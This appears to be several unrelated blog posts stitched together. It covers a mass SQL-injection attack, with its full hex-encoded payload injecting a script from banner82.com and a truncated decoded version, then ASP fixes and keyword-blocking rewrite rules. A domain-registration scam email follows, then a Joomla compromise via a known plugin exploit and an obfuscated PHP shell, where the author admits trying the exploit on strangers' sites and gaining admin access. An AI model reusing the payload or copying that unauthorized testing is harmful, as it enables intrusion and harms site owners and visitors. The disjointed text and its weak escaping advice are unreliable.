Here’s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122
and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html

This morning I got a frantic call from headoffice telling me that we’ve been hacked and that the database is filled with Javascript strings pointing to www.banner82.com/b.js. Both banner82.com and banner82.org are referenced in the scripts.

Here’s the querystring that was (and is still) being tried against all variables of our application:

DECLARE%20@S%20 VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832 3535292C40432056415243484152283235352920444 5434C415245205461626C655F437572736F72204355 52534F5220464F522053454C45435420612E6E616D6 52C622E6E616D652046524F4D207379736F626A6563 747320612C737973636F6C756D6E732062205748455 24520612E69643D622E696420414E4420612E787479 70653D27752720414E442028622E78747970653D393 9204F5220622E78747970653D3335204F5220622E78 747970653D323331204F5220622E78747970653D313 63729204F50454E205461626C655F437572736F7220 4645544348204E4558542046524F4D205461626C655 F437572736F7220494E544F2040542C404320574849 4C4528404046455443485F5354415455533D3029204 24547494E20455845432827555044415445205B272B4 0542B275D20534554205B272B40432B275D3D525452 494D28434F4E5645525428564152434841522834303 030292C5B272B40432B275D29292B27273C736372697 074207372633D687474703A2F2F7777772E62616E6E 657238322E636F6D2F622E6A733E3C2F736372697074 3E27272729204645544348204E4558542046524F4D205461626C
655F437572736F7220494E544F2040542C404320454E 4420434C4F5345205461626C655F437572736F722044 45414C4C4F43415445205461626C655F437572736F722

0%20AS%20VARCHAR(4000));EXEC(@S);--

which translates to the following sql statements:

DECLARE
@T VARCHAR(255),
@C VARCHAR(255)
DECLARE
Table_Cursor
CURSOR FOR
SELECT
a.name,b.name
FROM
sysobjects a,syscolumns b
WHERE
a.id=b.id AND
a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN
Table_Cursor
FETCH NEXT FROM
Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')
FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
(courtesy of http://pastebin.com/d73dda647)

So we got hit. Here’s what we did and what you can do to protect your servers.

Step 1. Take down the site.
Step 2. Clean the database
Step 3. Patch the .asp pages to look for possible injection attacks.
Step 4. Bring the site back up and monitor it.

Here are some tips:
1. Taking down the site is quickly done in IIS, but it’s worthwhile to redirect to a page that tells users that you’ll be back up shortly.
2. To clean the database I used 2 stored procedures. The reason that there are 2 is that SQL Server 2000 needs some extra tweaking when it comes to ntext fields.
2a. The first stored procedure was taken from this site: http://vyaskn.tripod.com/sql_server_search_and_replace.htm.
I had to customize the stored prcedure a bit, but Vyas has written a great stored procedure that gets us halfway there.2b. Now we just have ntext fields left that contain the javascript tags. Ntext fields are more difficult to work with, as you can’t use the replace function. Instead, we use the Updatetext function.
To do this, I customized the stored procedure found on http://sqlserver2000.databases.aspfaq.com/how-do-i-handle-replace-within-an-ntext-column-in-sql-server.html
at aspfaq.com
This stored procedure will replace one string with another in ntext fields. Even though this wasn’t strictly necessary (as you can see above, the ntext fields were cut down to 4000 character fields in the attack), I decided to find out how to replace strings in ntext fields.3. Patching the pages: To do so, you can either parameterize all your query variables into stored procedures (or cmd objects), or you can write your own asp function to strip all inputs before they are sent to the database in dynamic queries.
We chose to go the route of writing our own asp function.

You can use something as simple as:

FUNCTION ChkString(string)
IF string = “” THEN
string = ” ”
END IF
ChkString = Replace(string, “‘”, “””)
END FUNCTION

which will only make sure that all apostrophes are escaped. To make a more advanced function, you can add the Server.HTMLEncode function, and any regular expressions or replacing functions to filter out any offending characters. Just search for XSS vulnerability to get more information on this.

Of importance here is to make sure that all numeric values that go to the database are first enclosed in the CLNG conversion function. This will throw an error anytime an input contains a non-numeric string instead of the number you’re expecting. You can use this error to monitor how attacks on your site are made by specifying a custom asp error page in IIS.

The custom error page can be called asperror.asp and contain the following:

sub geterror
‘ gather details about the error from the ASPError object
‘ get the last error that occurred!
set objasperror = server.getlasterror
‘ go through the properties and get whatever you need…
With objasperror
code = .aspcode
num = .number
src = .source
cat = .category
file = .file
line = .line
column = .column
desc = .description
adesc = .aspdescription
end With

‘ free ASPError object
set objasperror = nothing

‘sendmail
Sendmail “info@mail.com”, “info@mail.com” “asperror”, “Code: ” & code & VbCrLf & “Num: ” & num & VbCrLf & “src: ” & src & vbCrLf & “cat: ” & cat & VbCrLf & “File: ” & file & VbCrLf & “line: ” & line & VbCrLf & “Column: ” & column & VbCrLf & “Desc: ” & desc & VbCRLf & “ASPDesc: ” & adesc & VbCrLf & “QueryString:” & Request.QueryString() & VbCrLf & Request.Form() & VbCrLf & “Referer: ” & Request.ServerVariables(“HTTP_Referer”) & ” ” & Request.ServerVariables(“REMOTE_ADDR”)

END SUB

This kind of function will keep you up-to-date on how and who is trying to attack your server.

4. Last but not least: Avoid this kind of attack all together. With an ISAPI component like ISAPI Rewrite by Helicon, you state something like:
Rewriterule .*DECLAREs.* http://www.mysite.com/block.asp [I,R]
which will make sure that all these attempts are redirected.

Here’s a few rules that will help:
RewriteRule .*DECLARE.* /security-violation.htm [I]
RewriteRule .*NVARCHAR.* /security-violation.htm [I]
RewriteRule .*INSERT .* /security-violation.htm [I]
RewriteRule .*INSERT %20.* /security-violation.htm [I]
RewriteRule .* xp_.* /security-violation.htm [I]
RewriteRule .*%20xp_.* /security-violation.htm [I]
RewriteRule .*%20@.* /security-violation.htm [I]
RewriteRule .* @.* /security-violation.htm [I]
RewriteRule .*@%20.* /security-violation.htm [I]
RewriteRule .*@ .* /security-violation.htm [I]
RewriteRule .*’;* /security-violation.htm [I]
RewriteRule .*EXEC(@.* /security-violation.htm [I]
RewriteRule .*sp_password.* /security-violation.htm [I]
RewriteRule /security-violation.htm /security.asp [I,L]

http://blog.sinohosting.net/beware-of-chinese-domain-names-fraud/

http://groups.google.com/group/Google_Webmaster_Help-Indexing/browse_thread/thread/f59105ca186910e6/651afbef9415f099

Here’s the email I received:

> (If you are NOT CEO, please forward this to your CEO, because this is urgent. Thanks.)
>
> Dear CEO ,
>
> We are the department of registration service in China. We have something need to confirm with you. We formally received an applicationon on August 11, 2008. One company which called “LQ Investment Services, Inc” are applying to register “domainname” as internet brand and CN domain names:
> domainname,net.cn
> domainname.org.cn
…..
….
…
..
> After our initial examination, we found that the internet brand applied for registration are as same as your company’s name and trademark.These days we are dealing with it, hope to get the affirmation from your company. If your company has not authorized the aforesaid company to register these, Please contact us as soon as possible.
> In addition, we hereby affirm that our time limit is 7 workdays. If your company files no reply within the time limit, we will unconditionally approve the application submitted by “LQ Investment Services, Inc”.
>
> Best Regards,
>
> Peter Wang
> Register and Audit department
> Tel: +86-21-52715980
> Fax: +86-21-52715978
> Web: www.meep-china.org.cn
> Address:11/F, Building A, Oasis Plaza, 137 Bailan Road, Putuo District, Shanghai, China

The scam works like this:
This company will probably offer to let you register these domains before that dangerous nemesis of yours “LQ Investment Services Inc.” will register them. It may cost you an arm and a leg for domains you had never dreamed of buying before. Don’t fall for it.

It seems the “attack” was coordinated from a single ip, 195.5.117.252. The
reverse dns for this IP points to c31.esthost.eu, and there are a lot of
services open on that system. I’ve done a short scan of the host and the
results are attached in “scan.txt”. It seems the host runs openvpn on most of
the ports, which means it is used to disguise the true identity of the
attacker (fx, if the attacker connects himself to the vpn, the external ip of
the site he will visit will be the vpn servers’ ip).

There was one question that bothered me – HOW did the remote attacker get that
shell on our server? The answer is dead simple and it’s the awful truth:
SIMPLE PASSWORDS. The “admin” user on the joomla install seems to have had the
password “adminpass”. I can’t say wether the password was set remotely, or if
the password was always adminpass, but it is now adminpass. Of course, i
disabled the account, so it can’t be used anymore.

The password wasn’t just random trial and error, it was a sure-shot. The
joomla bibtex plugin has a little problem handling some POST-vars, aka it
doesn’t mysql_real_escape_string or addslashes on the posted data. The exploit is known and you can find more info on this link:
http://www.milw0rm.com/exploits/4310

It comes with full info about how to reproduce the bug. I even tested it in
the wild and managed to list users on a couple of sites. On one of them, I
managed to login with FULL administrative access. All this, even though the
password is stored md5-hashed. A simple Google search for the hash revealed
the password (not necesarily the SAME password, but a pwd with the same hash).

So, to sum things up, this is the chain of events: script googles for sites
that expose the com_jombib extension (with, say a simple google search:
inurl:index.php?option=com_jombib), finds our site, tries the exploit,
and tricks the extension into listing all the joomla users and their md5-
hashed password. A simple google search revealed the true password
(adminpass).

At this stage, the remote user had administrative access to the site. He
now installs a plugin called “com_article” – nothing suspicious about that,
right? The plugin consists of a single php file – the php shell, that was
available at the following link:

The GET parameter is required for the shell to be rendered. Otherwise an error
is thrown. Once the user launched the shell, he edited whatever files he
wanted, and then he uploaded other files as well. And this is the end. Another
compromised box in the wild

I couldn’t have found out any of the stuff above if it weren’t for the
accesslogs. It was a good ideea to keep the last 6 months’ archives

The PHP shell can be found anywhere on the net (i think), and it had a
“clever” trick to disguise its real php code (it was base64 encoded and inline
compressed TWELVE times – hence the 12 in the shell12.php filename).

Any file could’ve been accessed by the remote attacker and a) deleted b)
searched for various info (passwords, stuff like that). I don’t know and I
can’t say what got affected by the shell, as there are no traces in the system
(it is a pseudo-shell, running simple, exec() commands).

As a general preventive measure, systems need to be updated regularly to allow
upstream security patches to be applied. This is true for every linux app,
library, distribution, and for any script (asp, php, a.s.o). There is nothing
that the user could’ve done to prevent this, except for using a stronger password
(even though this is relative – check this forum thread:

<http://forum.insidepro.com/viewtopic.php?t=1741>